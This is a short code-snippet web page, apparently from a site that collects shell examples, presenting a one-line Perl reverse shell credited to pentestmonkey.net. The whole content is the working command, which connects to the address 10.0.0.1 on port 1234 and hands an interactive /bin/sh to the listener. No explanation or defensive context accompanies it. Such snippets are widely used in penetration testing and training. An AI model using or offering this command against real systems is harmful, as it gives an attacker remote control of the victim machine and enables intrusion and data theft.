Search
 
SCRIPT & CODE EXAMPLE
 
CODE EXAMPLE FOR SHELL

perl reverse shell

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Source by pentestmonkey.net #
 
PREVIOUS NEXT
Tagged: #perl #reverse #shell
ADD COMMENT
Topic
Name
6+8 =